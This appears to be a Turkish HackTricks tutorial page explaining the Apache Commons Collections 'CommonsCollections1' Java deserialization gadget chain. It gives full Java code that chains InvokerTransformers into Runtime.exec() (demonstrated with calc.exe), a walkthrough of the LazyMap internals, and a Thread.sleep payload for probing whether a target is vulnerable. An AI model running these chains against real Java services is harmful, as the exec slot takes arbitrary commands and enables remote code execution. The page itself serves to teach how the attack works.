CommonsCollection1 Payload - Java Transformers to Rutime exec() ve Thread Sleep

Reading time: 5 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Java Transformers to Rutime exec()

Birçok yerde, aşağıdaki gibi Apache common collections'tan transformer'lar kullanan bir java deserialization payload'u bulabilirsiniz:

java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Java deserialization payloadları hakkında hiçbir şey bilmiyorsanız, bu kodun neden bir hesap makinesi çalıştıracağını anlamak zor olabilir.

Öncelikle, Java'daki Transformer'ın bir sınıfı aldığı ve onu farklı birine dönüştürdüğü bilgisini bilmeniz gerekir.
Ayrıca burada çalıştırılan payload'ın eşdeğer olduğunu bilmek de ilginçtir:

java
Runtime.getRuntime().exec(new String[]{"calc.exe"});

Ya da daha kesin olarak, sonunda çalıştırılacak olan:

java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Nasıl

Peki, ilk yükün sunumu bu "basit" tek satırlara nasıl eşdeğerdir?

İlk olarak, yükte bir dönüşüm zinciri (dizi) oluşturulduğunu görebilirsiniz:

java
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Kodunuzu okursanız, dizinin dönüşümünü bir şekilde zincirleyebilirseniz, rastgele komutları çalıştırabileceğinizi fark edeceksiniz.

Yani, bu dönüşümler nasıl zincirleniyor?

java
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

Yüklemenin son bölümünde bir Map nesnesi oluşturulduğunu görebilirsiniz. Ardından, LazyMap'ten decorate fonksiyonu, harita nesnesi ve zincirlenmiş dönüştürücüler ile çalıştırılır. Aşağıdaki koddan, bunun zincirlenmiş dönüştürücülerin lazyMap.factory niteliğine kopyalanmasına neden olacağını görebilirsiniz:

java
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

Ve sonra büyük final gerçekleştirilir: lazyMap.get("anything");

Bu, get fonksiyonunun kodudur:

java
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

Ve bu, transform fonksiyonunun kodudur.

java
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

Yani, factory içinde chainedTransformer'ı kaydettiğimizi ve transform fonksiyonu içinde bu zincirlenmiş tüm dönüştürücülerden geçip birbiri ardına çalıştırdığımızı unutmayın. Komik olan, her dönüştürücünün object olarak girdi alması ve object'in son çalıştırılan dönüştürücünün çıktısı olmasıdır. Bu nedenle, tüm dönüşümler kötü niyetli yükü zincirleme olarak çalıştırıyor.

Özet

Sonunda, lazyMap'in zincirlenmiş dönüştürücüleri get metodunun içinde nasıl yönettiğine bağlı olarak, sanki aşağıdaki kodu çalıştırıyormuşuz gibi.

java
Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Dikkat edin ki value, her bir dönüşümün girişi ve bir önceki dönüşümün çıktısıdır, bu da bir satırlık kodun çalıştırılmasına olanak tanır:

java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Not edin ki burada ComonsCollections1 yükü için kullanılan gadget'lar açıklandı. Ancak tüm bunların nasıl çalıştığı bırakıldı. Bunu görmek için burada ysoserial kullanarak bu yükü çalıştırmak için bir AnnotationInvocationHandler nesnesi kullandığını görebilirsiniz çünkü bu nesne serileştirildiğinde, payload.get() fonksiyonunu çağıracak ve bu da tüm yükü çalıştıracaktır.

Java Thread Sleep

Bu yük, web'in zayıf olup olmadığını belirlemek için kullanışlı olabilir çünkü eğer zayıfsa bir uyku çalıştıracaktır.

java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Daha Fazla Gadget

Daha fazla gadget burada bulabilirsiniz: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin